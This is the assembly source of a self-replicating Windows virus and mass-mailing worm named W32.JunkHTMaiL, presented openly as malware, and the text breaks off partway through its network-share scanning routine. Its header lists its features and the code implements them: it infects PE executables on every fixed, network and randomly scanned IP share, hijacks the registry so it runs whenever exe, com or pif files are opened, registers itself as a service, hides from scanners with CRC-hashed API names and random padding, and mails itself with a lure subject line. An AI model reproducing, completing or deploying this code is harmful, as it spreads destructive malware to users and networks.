comment ;) W32.JunkHTMaiL by roy g biv (thanks to RT Fishel for previous contribution) some of its features: - parasitic resident (own process) infector of PE exe (but not looking at suffix) - infects files in all directories on all fixed and network drives and network shares - directory traversal is linked-list instead of recursive to reduce stack size - enumerates shares on local network and also random IP addresses - reloc section inserter/last section appender - runs as service in NT/2000/XP and service process in 9x/Me - hooks all executable shell\open\command values - slow mailer using polymorphic mail headers and self-executing HTML - auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me) - uses CRCs instead of API names - uses SEH for common code exit - section attributes are never altered (virus is self-modifying but runs in writable memory) - no infect files with data outside of image (eg self-extractors) - infected files are padded by random amounts to confuse tail scanners - uses SEH walker to find kernel address (no hard-coded addresses) - correct file checksum without using imagehlp.dll :) 100% correct algorithm - plus some new code optimisations that were never seen before W32.EfishNC :) yes, just a W32.JunkMail remake with a different exploit --- optimisation tip: Windows appends ".dll" automatically, so this works: push "cfs" push esp call LoadLibraryA --- to build this thing: tasm ---- tasm32 /ml /m3 junkhtml tlink32 /B:400000 /x junkhtml,,,import32 Virus is not self-modifying, so no need to alter section attributes --- We're in the middle of a phase transition: a butterfly flapping its wings at just the right moment could cause a storm to happen. -I'm trying to understand- I'm at a moment in my life- I don't know where to flap my wings. (Danny Hillis) (; .486 .model flat extern GlobalAlloc:proc extern CreateFileA:proc extern GetFileSize:proc extern GetModuleFileNameA:proc extern ReadFile:proc extern WriteFile:proc extern CloseHandle:proc extern GlobalFree:proc extern GetCurrentProcess:proc extern WriteProcessMemory:proc extern MessageBoxA:proc extern ExitProcess:proc .data ;to alter the text here, set compress_only to not-zero then run ;in that case, the compressed text is written to a file only compress_only equ 0 ife compress_only ;must be reverse alphabetical order because they are stored on stack ;API names are not present in replications, only in dropper expnames db "WriteFile" , 0 db "WinExec" , 0 db "SetFileAttributesA" , 0 db "MoveFileA" , 0 db "LoadLibraryA" , 0 db "GlobalFree" , 0 db "GlobalAlloc" , 0 db "GetWindowsDirectoryA", 0 db "GetTickCount" , 0 db "GetTempFileNameA" , 0 db "GetFileAttributesA" , 0 db "GetCurrentProcess" , 0 db "DeleteFileA" , 0 db "CreateFileA" , 0 db "CloseHandle" , 0 regnames db "RegSetValueA" , 0 db "OpenSCManagerA" , 0 db "CreateServiceA" , 0 db "CloseServiceHandle", 0 exenames db "LoadLibraryA" , 0 db "GlobalAlloc" , 0 db "GetVersion" , 0 db "GetTickCount" , 0 db "GetStartupInfoW", 0 db "GetStartupInfoA", 0 db "GetCommandLineW", 0 db "GetCommandLineA", 0 db "ExitProcess" , 0 db "CreateProcessW" , 0 db "CreateProcessA" , 0 usrnames db "CharNextW", 0 db "CharNextA", 0 svcnames db "StartServiceCtrlDispatcherA", 0 krnnames db "lstrlenW" , 0 db "lstrcpyW" , 0 db "lstrcatW" , 0 db "UnmapViewOfFile" , 0 db "Sleep" , 0 db "SetFileTime" , 0 db "SetFileAttributesW" , 0 db "SetFileAttributesA" , 0 db "SetCurrentDirectoryW" , 0 db "SetCurrentDirectoryA" , 0 db "ReadFile" , 0 db "MultiByteToWideChar" , 0 db "MapViewOfFile" , 0 db "LoadLibraryA" , 0 db "GlobalFree" , 0 db "GlobalAlloc" , 0 db "GetVersion" , 0 db "GetTickCount" , 0 db "GetModuleFileNameA" , 0 db "GetFullPathNameW" , 0 db "GetFullPathNameA" , 0 db "GetFileSize" , 0 db "GetDriveTypeA" , 0 db "FindNextFileW" , 0 db "FindNextFileA" , 0 db "FindFirstFileW" , 0 db "FindFirstFileA" , 0 db "FindClose" , 0 db "CreateThread" , 0 db "CreateFileW" , 0 db "CreateFileMappingA" , 0 db "CreateFileA" , 0 db "CloseHandle" , 0 sfcnames db "SfcIsFileProtected", 0 ws2names db "socket" , 0 db "send" , 0 db "gethostbyname", 0 db "connect" , 0 db "WSAStartup" , 0 netnames db "WNetOpenEnumW" , 0 db "WNetOpenEnumA" , 0 db "WNetEnumResourceW", 0 db "WNetEnumResourceA", 0 db "WNetCloseEnum" , 0 ip9xnames db "NetShareEnum", 0 ipntnames db "NetShareEnum" , 0 db "NetApiBufferFree", 0 endif ;only 0dh is required for new line, since 0ah is appended by decompressor user1 equ ' ' user2 equ '/' user3 equ ':' ;the three most frequent characters smtp1 db offset smtp2 - offset $ - 2, "HELO ", 0 smtp2 db offset smtp3 - offset $ - 2, "MAIL FROM:<>", 0dh, 0 smtp3 db offset smtp4 - offset $ - 2, "RCPT TO:", 0 smtp4 db offset header1 - offset $ - 2, "DATA", 0dh, 0 header1 db offset header2 - offset $ - 2, "FROM: ", 0 header2 db offset header31 - offset $ - 2, "SUBJECT: Wanna see a e-mail exploit?", 0 header31 db offset header32 - offset $ - 2, 0dh, "MIME-VERSION:", 0 header32 db offset part11 - offset $ - 2, "1.0", 0 part11 db offset part12 - offset $ - 2, "CONTENT-TYPE:", 0 part12 db offset part13 - offset $ - 2, "MULTIPART/MIXED;", 0 part13 db offset body1 - offset $ - 2, " BOUNDARY=", 0 body1 db offset body2 - offset $ - 1 db 0dh, "Just click the attachment", 0dh body2 db offset body3 - offset $ - 1 db "If the attachment is blocked by Outlook 2002 then see", 0dh body3 db offset body4 - offset $ - 1 db "http://support.microsoft.com/support/kb/articles/q290/4/97.asp", 0dh body4 db 0 part21 db offset part22 - offset $ - 2, "TEXT/PLAIN;", 0 part22 db offset part23 - offset $ - 2, " NAME=EMAIL.HTM", 0 part23 db offset part24 - offset $ - 2, 0dh, "CONTENT-TRANSFER-ENCODING:", 0 part24 db offset part25 - offset $ - 2, "QUOTED-PRINTABLE", 0 part25 db offset part26 - offset $ - 2, 0dh, "CONTENT-DISPOSITION:", 0 part26 db offset part27 - offset $ - 2, "ATTACHMENT", 0 part27 db offset part28 - offset $ - 2, "CONTENT-LOCATION:FILE:///.EXE", 0 part28 db offset part31 - offset $ - 2, "BASE64", 0 ;just a bit too long for a single line... unless you remove the "moveBy"... part31 db offset part32 - offset $ - 1, 0dh, "", 0 part41 db offset part42 - offset $ - 2, ".", 0dh, 0 part42 db offset part43 - offset $ - 2, "QUIT", 0dh, 0 part43 equ $ include junkhtml.inc txttitle db "JunkHTMaiL", 0 if compress_only txtbody db "compress done", 0 else txtbody db "running...", 0 patch_host label near pop ecx push ecx call $ + 5 pop eax add eax, offset host_patch - offset $ + 6 sub ecx, eax push ecx mov eax, esp xor edi, edi push edi push 4 push eax push offset host_patch + 1 push esi call WriteProcessMemory jmp junkhtml_inf ;----------------------------------------------------------------------------- ;everything before this point is dropper code ;----------------------------------------------------------------------------- ;----------------------------------------------------------------------------- ;virus code begins here in infected files ;----------------------------------------------------------------------------- junkhtml_inf proc near pushad call walk_seh ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- expcrcbegin label near ;place < 80h bytes from call for smaller code dd (expcrc_count + 1) dup (0) expcrcend label near dd offset drop_exp - offset expcrcend + 4 db "JunkHTMaiL - roy g biv" ;spam just got harder to remove ;) walk_seh label near xor esi, esi lods dword ptr fs:[esi] inc eax seh_loop label near dec eax xchg esi, eax lods dword ptr [esi] inc eax jne seh_loop lods dword ptr [esi] ;----------------------------------------------------------------------------- ;moved label after some data because "e800000000" looks like virus code ;) ;----------------------------------------------------------------------------- init_findmz label near inc eax xchg edi, eax find_mzhdr label near ;----------------------------------------------------------------------------- ;do not use hard-coded kernel address values because it is not portable ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP ;they will maybe change again for every new release ;----------------------------------------------------------------------------- dec edi ;sub 64kb xor di, di ;64kb align call is_pehdr jne find_mzhdr mov ebx, edi pop edi ;----------------------------------------------------------------------------- ;parse export table ;----------------------------------------------------------------------------- mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff] lea esi, dword ptr [ebx + esi + peexp.expordbase] lods dword ptr [esi] ;Ordinal Base lea ebp, dword ptr [eax * 2 + ebx] lods dword ptr [esi] lods dword ptr [esi] lods dword ptr [esi] ;Export Address Table RVA lea edx, dword ptr [ebx + eax] lods dword ptr [esi] ;Name Pointer Table RVA add ebp, dword ptr [esi] ;Ordinal Table RVA lea ecx, dword ptr [ebx + eax] mov esi, ecx push_export label near push ecx get_export label near lods dword ptr [esi] push ebx add ebx, eax ;Name Pointer VA or eax, -1 crc_outer label near xor al, byte ptr [ebx] push 8 pop ecx crc_inner label near add eax, eax jnb crc_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) crc_skip label near loop crc_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb crc_outer pop ebx cmp dword ptr [edi], eax jne get_export ;----------------------------------------------------------------------------- ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail ;this allows to push addresses onto the stack, and the order is known ;----------------------------------------------------------------------------- pop ecx mov eax, esi sub eax, ecx ;Name Pointer Table VA shr eax, 1 movzx eax, word ptr [ebp + eax - 4] ;get export ordinal mov eax, dword ptr [eax * 4 + edx] ;get export RVA add eax, ebx push eax scas dword ptr [edi] cmp dword ptr [edi], 0 jne push_export add edi, dword ptr [edi + 4] jmp edi dispname label near db "ExpIorer", 0 explabel label near db "ExpIorer.exe", 0 expsize equ 0d4h ;RLE-based compressed MZ header, PE header, import table, section table ;execution continues immediately after compressed data. be careful ;) dd 11111111110000011100001011100000b ; mmmmmmmmmmz 01mmz 02mmm db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1 dd 00000110000111100001001010010000b ; z 01mz 03mmz 02r 04m db 2, 2ch, 10h, 88h dd 00000111110100100001001000111110b ; z 01mmmmr 02z 04mz 07mm db 0fh, 3, 0bh, 1, 56h, (offset junkhtml_exe - offset junkhtml_inf + expsize) and 0ffh, ((junkhtml_exe - offset junkhtml_inf + expsize + 1000h) shr 8) and 0ffh dd 00001001010010001011000010100001b ; z 02r 04mz 05mz 02mz 02 db 0ch, 40h, 10h dd 00000110000101010111100001111100b ; z 01mz 02mr 07mz 03mmm db 2, 1, 4, "Arc" dd 00001010000101000111100000101001b ; z 02mz 03mz 07mz 01r 02 db ((junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1fffh) and not 0fffh) shr 8, expsize, 2 dd 10000111000011100001110000110101b ; mz 03mz 03mz 03mz 03r 04 db 1, 1, 1, 1 dd 10001110101001100101001111001111b ; mz 07r 04mmz 0ar 0er 0e db 2, 8, 10h dd 00010110000111000010100001101100b ; z 05mz 03mz 02mz 03r 08 db 10h, ((junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1ffh) and not 1ffh) shr 8, 1 dd 00011110000000000000000000000000b ; z 07m db 0e0h dd 0 ;decompressed data follow. 'X' bytes are set to random value every time ; db 'M', 'Z' ;00 ; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA) ; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp) ; dw 14ch ;10 04 machine (overload for forwarder chain) ; dw 1 ;12 06 number of sections (overload for forwarder chain) ; dd 2 ;14 08 date/time stamp (overload for dll name RVA) ; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA) ; db X, X, X, X ;1c 10 number of symbols ; dw 88h ;20 14 size of optional header ; dw 30fh ;22 16 characteristics ; dw 10bh ;24 18 magic ; db X ;26 1a major linker ; db X ;27 1b minor linker ; dd 0 ;28 1c size of code (overload for import table terminator) ; dd 56h ;2c 20 size of init data (overload for import name table RVA) ; dd 0 ;30 24 size of uninit data (overload for import name table terminator) ; dd offset junkhtml_exe - offset junkhtml_inf + expsize + 1000h ; ;34 28 entry point ; db X, X, X, X ;38 2c base of code ; dd 0ch ;3c 30 base of data (overload for lfanew) ; dd 400000h ;40 34 image base ; dd 1000h ;44 38 section align ; dd 200h ;48 3c file align ; db 1, X ;4c 40 major os ; db X, X ;4e 42 minor os ; db X, X ;50 44 major image ; db X, X ;52 46 minor image ; dw 4 ;54 48 major subsys ; dw 0 ;56 4a minor subsys (overload for import name table) ; db "Arc", 0 ;58 4c reserved (overload for import name table) ; dd (aligned size of code) ;5c 50 size of image ; dd expsize ;60 54 size of headers ; dd 0 ;64 58 checksum ; dw 2 ;68 5c subsystem ; db X, X ;6a 5e dll characteristics ; dd 1 ;6c 60 size of stack reserve ; dd 1 ;70 64 size of stack commit ; dd 1 ;74 68 size of heap reserve ; dd 1 ;78 6c size of heap commit ; db X, X, X, X ;7c 70 loader flags ; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me) ; dd 0 ;84 78 export ; db X, X, X, X ;88 7c export ; dd 1008h ;8c 80 import ; dd 0 ;90 84 import ; dd 0 ;94 88 resource ; db X, X, X, X ;98 8c resource ; db X, X, X, X, X, X, X, X ;9c 90 exception ; db X, X, X, X, X, X, X, X ;a4 98 certificate ; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name) ; dd 0 ;b4 a8 debug (overload for virtual size) ; dd 1000h ;b8 ac debug (overload for virtual address) ; dd (aligned size of code) ;bc b0 architecture (overload for file size) ; dd 1 ;c0 b4 architecture (overload for file offset) ; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs) ; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers) ; dd 0 ;cc c0 tls (overload for reloc table and line numbers) ; dd 0e0000000h ;d0 c4 tls (overload for section characteristics) ; ;d4 drop_exp label near mov ebx, esp lea esi, dword ptr [edi + offset explabel - offset drop_exp] mov edi, offset junkhtml_codeend - offset junkhtml_inf + expsize + 80h + 1ffh ;file size must be > end of last section push edi xor ebp, ebp ;GMEM_FIXED push ebp call dword ptr [ebx + expcrcstk.pGlobalAlloc] push eax ;GlobalFree push ebp ;WriteFile push esp ;WriteFile push edi ;WriteFile push ebp ;CreateFileA push FILE_ATTRIBUTE_HIDDEN ;CreateFileA push CREATE_ALWAYS ;CreateFileA push ebp ;CreateFileA push ebp ;CreateFileA push GENERIC_WRITE ;CreateFileA push eax ;CreateFileA lea ecx, dword ptr [eax + 7fh] push ecx ;MoveFileA push eax ;MoveFileA push eax ;GetFileAttributesA push ebp ;SetFileAttributesA push eax ;SetFileAttributesA push ecx ;DeleteFileA push ecx ;GetTempFileNameA push ebp ;GetTempFileNameA push esp ;GetTempFileNameA push eax ;GetTempFileNameA push edi ;GetWindowsDirectoryA push eax ;GetWindowsDirectoryA xchg ebp, eax call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA] lea edi, dword ptr [ebp + eax - 1] call dword ptr [ebx + expcrcstk.pGetTempFileNameA] call dword ptr [ebx + expcrcstk.pDeleteFileA] mov al, '\' scas byte ptr [edi] je skip_slash stos byte ptr [edi] ;----------------------------------------------------------------------------- ;append exe name, assumes name is 0dh bytes long ;----------------------------------------------------------------------------- skip_slash label near movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] movs byte ptr [edi], byte ptr [esi] ;----------------------------------------------------------------------------- ;anti-anti-file dropper - remove read-only attribute, delete file, rename directory ;----------------------------------------------------------------------------- call dword ptr [ebx + expcrcstk.pSetFileAttributesA] call dword ptr [ebx + expcrcstk.pGetFileAttributesA] test al, FILE_ATTRIBUTE_DIRECTORY pop ecx pop eax je skip_move push eax push ecx call dword ptr [ebx + expcrcstk.pMoveFileA] skip_move label near call dword ptr [ebx + expcrcstk.pCreateFileA] push edi ;WriteFile push ebx xchg ebp, eax call dword ptr [ebx + expcrcstk.pGetTickCount] xchg ebx, eax xor ecx, ecx ;----------------------------------------------------------------------------- ;decompress MZ header, PE header, section table, import table ;----------------------------------------------------------------------------- lods dword ptr [esi] copy_bytes label near movs byte ptr [edi], byte ptr [esi] test_bits label near add eax, eax jb copy_bytes add eax, eax sbb dl, dl shld ecx, eax, 4 shl eax, 4 xchg edx, eax rep stos byte ptr [edi] xchg edx, eax jne test_bits lods dword ptr [esi] test eax, eax jne test_bits mov cx, offset mail_recip - offset junkhtml_inf sub esi, offset drop_exp - offset junkhtml_inf rep movs byte ptr [edi], byte ptr [esi] mov al, "'" stos byte ptr [edi] pop ebx push ebp call dword ptr [ebx + expcrcstk.pWriteFile] push ebp call dword ptr [ebx + expcrcstk.pCloseHandle] pop eax push eax inc ebp je load_regdll ;allow only 1 copy to run push 0 push eax call dword ptr [ebx + expcrcstk.pWinExec] load_regdll label near sub esi, offset mail_recip - offset regdll push esi call dword ptr [ebx + expcrcstk.pLoadLibraryA] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- regcrcbegin label near ;place < 80h bytes from call for smaller code dd (regcrc_count + 1) dup (0) regcrcend label near dd offset reg_file - offset regcrcend + 4 regval db 'ExpIorer "%1" %*', 0 regkey db "\com" ;no regedit.com ;) db "\exe" ;must be 4 bytes long db "\pif" ;hook all executable suffix (except .scr which passes /S) reg_file label near ;must follow immediately mov ebx, esp mov ecx, HKEY_LOCAL_MACHINE ;can obfuscate and same size if push 5+pop ecx+ror ecx, 1 ;----------------------------------------------------------------------------- ;alter Software\Classes in Local Machine and Current User ;because in Windows 2000/XP, Current User values override Local Machine values ;----------------------------------------------------------------------------- reg_loopouter label near lea ebp, dword ptr [edi + offset regval - offset reg_file] sub edi, offset reg_file - offset regkey push (offset reg_file - offset regkey) shr 2 pop esi reg_loopinner label near push ecx push "dna" push "mmoc" push "\nep" push "o\ll" push "ehs\" push "elif" push dword ptr [edi] ;comfile, exefile, piffile push "sess" push "alc\" push "eraw" push "tfos" ;obfuscated ;) mov eax, esp push offset regkey - offset regval push ebp push REG_SZ push eax push ecx call dword ptr [ebx + regcrcstk.rRegSetValueA] ;RegSetValue creates keys add esp, 2ch ;size software\classes\???file\shell\open\command scas dword ptr [edi] pop ecx dec esi jne reg_loopinner loopw reg_loopouter ;decrements CX only ;----------------------------------------------------------------------------- ;register as service if NT/2000/XP (recognised but ignored by 9x/Me) ;no start service because code is running already ;----------------------------------------------------------------------------- push SC_MANAGER_CREATE_SERVICE push esi push esi call dword ptr [ebx + regcrcstk.rOpenSCManagerA] mov ecx, dword ptr [ebx + size regcrcstk] push ecx push eax push esi push esi push esi push esi push esi push ecx push esi ;SERVICE_ERROR_IGNORE push SERVICE_AUTO_START push SERVICE_WIN32_OWN_PROCESS push esi sub edi, offset reg_file - offset dispname push edi add edi, offset explabel - offset dispname push edi push eax call dword ptr [ebx + regcrcstk.rCreateServiceA] push eax call dword ptr [ebx + regcrcstk.rCloseServiceHandle] call dword ptr [ebx + regcrcstk.rCloseServiceHandle] call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree] popad host_patch label near db 0e9h, 'rgb!' ;----------------------------------------------------------------------------- ;virus code begins here in dropped exe ;----------------------------------------------------------------------------- junkhtml_exe label near call walk_seh ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- execrcbegin label near ;place < 80h bytes from call for smaller code dd (execrc_count + 1) dup (0) execrcend label near dd offset load_user32 - offset execrcend + 4 load_user32 label near call skip_user32 db "user32", 0 skip_user32 label near call dword ptr [esp + execrcstk.eLoadLibraryA + 4] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- usrcrcbegin label near ;place < 80h bytes from call for smaller code dd (usrcrc_count + 1) dup (0) usrcrcend label near dd offset get_cmdline - offset usrcrcend + 4 ;----------------------------------------------------------------------------- ;determine platform and dynamically select function types (ANSI or Unicode) ;----------------------------------------------------------------------------- get_cmdline label near mov ebx, esp call dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion] shr eax, 1fh lea esi, dword ptr [eax * 4 + ebx] ;----------------------------------------------------------------------------- ;RegisterServiceProcess() if 9x/Me (just sets one bit) ;----------------------------------------------------------------------------- mov ecx, dword ptr fs:[tib.TibTeb] or byte ptr [ecx + teb.procflags + 1], al ;----------------------------------------------------------------------------- ;parse command-line in platform-independent way to see how file was run ;----------------------------------------------------------------------------- dec ax mov al, 0ffh xchg edi, eax ;ffff if Unicode, 00ff if ANSI mov eax, dword ptr [esi + usrcrcstk.uCharNextW] mov dword ptr ds:[offset store_charnext - offset junkhtml_inf + expsize + 401001h], eax call dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW] stack_delta label near mov ebp, dword ptr [eax] and ebp, edi cmp ebp, '"' ;Unicode-compatible compare je skip_argv0 push ' ' pop ebp skip_argv0 label near push eax call dword ptr [esi + usrcrcstk.uCharNextW] mov ecx, dword ptr [eax] and ecx, edi je argv1_skip cmp ecx, ebp jne skip_argv0 find_argv1 label near push eax call dword ptr [esi + usrcrcstk.uCharNextW] mov ecx, dword ptr [eax] and ecx, edi cmp ecx, ' ' ;Unicode-compatible compare je find_argv1 argv1_skip label near ;----------------------------------------------------------------------------- ;if argv1 exists then argv0 was run using shell\open\command so run argv1 ;----------------------------------------------------------------------------- jecxz stack_copy sub esp, size processinfo mov edx, esp sub esp, size startupinfo mov ecx, esp push edx push ecx xor edx, edx push edx push edx push edx push edx push edx push edx push eax push edx push ecx call dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW] call dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW] call dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess] ;----------------------------------------------------------------------------- ;allocate stack space for RNG cache ;----------------------------------------------------------------------------- stack_copy label near mov ebx, dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount] call ebx ;RNG seed enter (statelen + 1) shl 2, 0 ;RNG cache mov edi, esp call randinit mov edi, ebx call find_mzhdr ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- krncrcbegin label near ;place < 80h bytes from call for smaller code dd (krncrc_count + 1) dup (0) krncrcend label near dd offset swap_create - offset krncrcend + 4 ;----------------------------------------------------------------------------- ;swap CreateFileW and CreateFileMappingA because of alphabet order ;----------------------------------------------------------------------------- swap_create label near mov dword ptr ds:[offset store_krnapi - offset junkhtml_inf + expsize + 401003h], esp mov ebx, esp mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA] xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax ;----------------------------------------------------------------------------- ;get SFC support if available ;----------------------------------------------------------------------------- call load_sfc db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll) load_sfc label near call cLoadLibraryA test eax, eax jne found_sfc push 'cfs' ;Windows Me/2000 push esp call cLoadLibraryA pop ecx test eax, eax je sfcapi_esp found_sfc label near call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- sfccrcbegin label near ;place < 80h bytes from call for smaller code dd (sfccrc_count + 1) dup (0) sfccrcend label near dd offset sfcapi_pop - offset sfccrcend + 4 sfcapi_pop label near pop eax sfcapi_esp label near mov dword ptr ds:[offset store_sfcapi - offset junkhtml_inf + expsize + 401001h], eax ;----------------------------------------------------------------------------- ;get rest of APIs required for network thread ;----------------------------------------------------------------------------- push 'rpm' push esp call cLoadLibraryA pop ecx call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- netcrcbegin label near ;place < 80h bytes from call for smaller code dd (netcrc_count + 1) dup (0) netcrcend label near dd offset netapi_esp - offset netcrcend + 4 netapi_esp label near mov eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW] mov dword ptr [edi + offset store_netapi - offset netapi_esp + 1], eax ;----------------------------------------------------------------------------- ;initialise service table if NT/2000/XP ;----------------------------------------------------------------------------- call cGetVersion shr eax, 1fh jne svc_main ;no service if 9x/Me push eax push eax mov eax, offset regdll - offset junkhtml_inf + expsize + 401000h push eax call cLoadLibraryA call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- svccrcbegin label near ;place < 80h bytes from call for smaller code dd (svccrc_count + 1) dup (0) svccrcend label near dd offset start_disp - offset svccrcend + 4 start_disp label near pop eax mov ecx, esp add edi, offset svc_main - offset start_disp push edi push ecx push esp call eax ;does not return if service launch add esp, size SERVICE_TABLE_ENTRY ;fix stack if app launch svc_main label near push eax push esp xor esi, esi push esi push esi call create_thr1 ;----------------------------------------------------------------------------- ;thread 1: infect files on all fixed and remote drive letters ;----------------------------------------------------------------------------- find_drives proc near mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk drive_loop label near push eax push esp push (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2 pop eax call store_krnapi sub al, DRIVE_FIXED je drive_set xchg ecx, eax loop drive_next ;loop if not DRIVE_REMOTE drive_set label near push esp call cSetCurrentDirectoryA call find_files drive_next label near pop eax inc eax cmp al, 'Z' + 1 jne drive_loop push 60 * 60 * 1000 ;1 hour call cSleep jmp find_drives find_drives endp create_thr1 label near push esi push esi call cCreateThread push esp push esi push esi call create_thr2 ;----------------------------------------------------------------------------- ;thread 2: find files on network shares using non-recursive algorithm ;----------------------------------------------------------------------------- call get_krnapis find_wnet proc near xor ebx, ebx ;previous handle xor esi, esi ;previous node xor edi, edi ;previous buffer wnet_open label near push eax push esp push edi push 0 push RESOURCETYPE_DISK push RESOURCE_GLOBALNET call dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk] push eax push edi call cGlobalFree pop ecx pop edi inc ecx loop wnet_next push size wnetlist push ecx ;GMEM_FIXED call cGlobalAlloc mov dword ptr [eax + wnetlist.wnetprev], esi mov dword ptr [eax + wnetlist.wnethand], ebx xchg esi, eax mov ebx, edi wnet_next label near push 1 mov eax, esp push eax push esp push eax push ebx call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk] pop edi sub al, ERROR_MORE_DATA jne wnet_close push edi push eax ;GMEM_FIXED call cGlobalAlloc xchg ecx, eax jecxz wnet_close push edi mov eax, esp push 1 mov edx, esp push eax push ecx push edx push ebx mov edi, ecx call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk] pop ecx pop ecx test eax, eax jne wnet_free test byte ptr [edi + NETRESOURCE.dwUsage], RESOURCEUSAGE_CONTAINER jne wnet_open push dword ptr [edi + NETRESOURCE.lpRemoteName] call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW] xchg ecx, eax jecxz wnet_skipdir ;I'm alone here ;with emptiness eagles and snow. ;Unfriendliness chilling my body ;and taunting with pictures of home. ;(Deep Purple) call find_files wnet_skipdir label near xor eax, eax wnet_free label near push eax push edi call cGlobalFree pop ecx jecxz wnet_next wnet_close label near push ebx store_netapi label near mov eax, '!bgr' call eax ;WNetCloseEnum mov ecx, dword ptr [esi + wnetlist.wnetprev] jecxz wnet_exit mov ebx, dword ptr [esi + wnetlist.wnethand] push esi mov esi, ecx call cGlobalFree jmp wnet_next wnet_exit label near push 120 * 60 * 1000 ;2 hours call cSleep jmp find_wnet find_wnet endp create_thr2 label near push esi push esi call cCreateThread push esp push esi push esi call create_thr3 ;----------------------------------------------------------------------------- ;thread 3: find files on random IP address shares using non-recursive algorithm ;(alter class A: 25%, class b: 25%, class c: 25%, class d: scan all) ;----------------------------------------------------------------------------- call cGetVersion test eax, eax mov eax, 'aten' mov ecx, '23ip' ;"netapi32" (NT/2000/XP) jns ip_loaddll mov eax, 'arvs' movzx ecx, cx ;"svrapi" (9x/Me) ip_loaddll label near pushfd push 0 push ecx push eax push esp call cLoadLibraryA add esp, 0ch popfd jns ip_getprocnt call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- ip9xcrcbegin label near ;place < 80h bytes from call for smaller code dd (ip9xcrc_count + 1) dup (0) ip9xcrcend label near dd offset ip_share - offset ip9xcrcend + 4 ip_getprocnt label near call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- ipntcrcbegin label near ;place < 80h bytes from call for smaller code dd (ipntcrc_count + 1) dup (0) ipntcrcend label near dd offset ip_share - offset ipntcrcend + 4 ip_share label near call random xchg ebp, eax ;initial IP address find_ip proc near call random and al, 18h je find_ip ;select class A-C only xchg ecx, eax xor eax, eax mov al, 0ffh shl eax, cl ;select random class and ecx, eax ;isolate new class not eax and ebx, eax ;remove old class or ebx, ecx ;insert new class ip_save label near push ebx bswap ebx enter 34h, 0 ;size of Unicode '\\' + Unicode IP address + '\' + ANSI sharename lea edi, dword ptr [ebp - 0eh] ;size of '\' + ANSI sharename call cGetVersion shr eax, 1fh ;0 if Unicode, 1 if ANSI xchg esi, eax xor al, al mov cl, 0ah std stos byte ptr [edi] mov edx, edi stos byte ptr [edi] ;store Unicode sentinel stos byte ptr [edi] ;store Unicode half-character add edi, esi ;remove character if ANSI ;----------------------------------------------------------------------------- ;convert IP address to string (ANSI or Unicode) ;----------------------------------------------------------------------------- ip_shift label near xor eax, eax shld eax, ebx, 8 ip_hex2dec label near div cl xchg ah, al add al, '0' stos byte ptr [edi] xor al, al stos byte ptr [edi] ;store Unicode half-character add edi, esi ;remove character if ANSI shr eax, 8 jne ip_hex2dec mov al, '.' stos byte ptr [edi] xor al, al stos byte ptr [edi] ;store Unicode half-character add edi, esi ;remove character if ANSI shl ebx, 8 jne ip_shift cld push edi mov al, '\' stos byte ptr [edi] inc edi ;include Unicode half-character sub edi, esi ;remove character if ANSI stos byte ptr [edi] ;store '\\' in ANSI or Unicode pop edi test esi, esi je ip_sharent ;----------------------------------------------------------------------------- ;enumerate shares on IP address (9x/Me platform) ;----------------------------------------------------------------------------- push ebx mov eax, esp push ebx push esp push eax push ebx ;too small size returns needed size push ebx push 1 push edi mov ebx, edi mov edi, edx call dword ptr [esp + 44h + ip9xcrcstk.ip9xNetShareEnum + 18h] pop ecx pop esi sub al, ERROR_MORE_DATA jne ip_restore imul esi, ecx, size share_info_19x + 50 ;include size of optional remark push esi push eax ;GMEM_FIXED call cGlobalAlloc cdq xchg ecx, eax 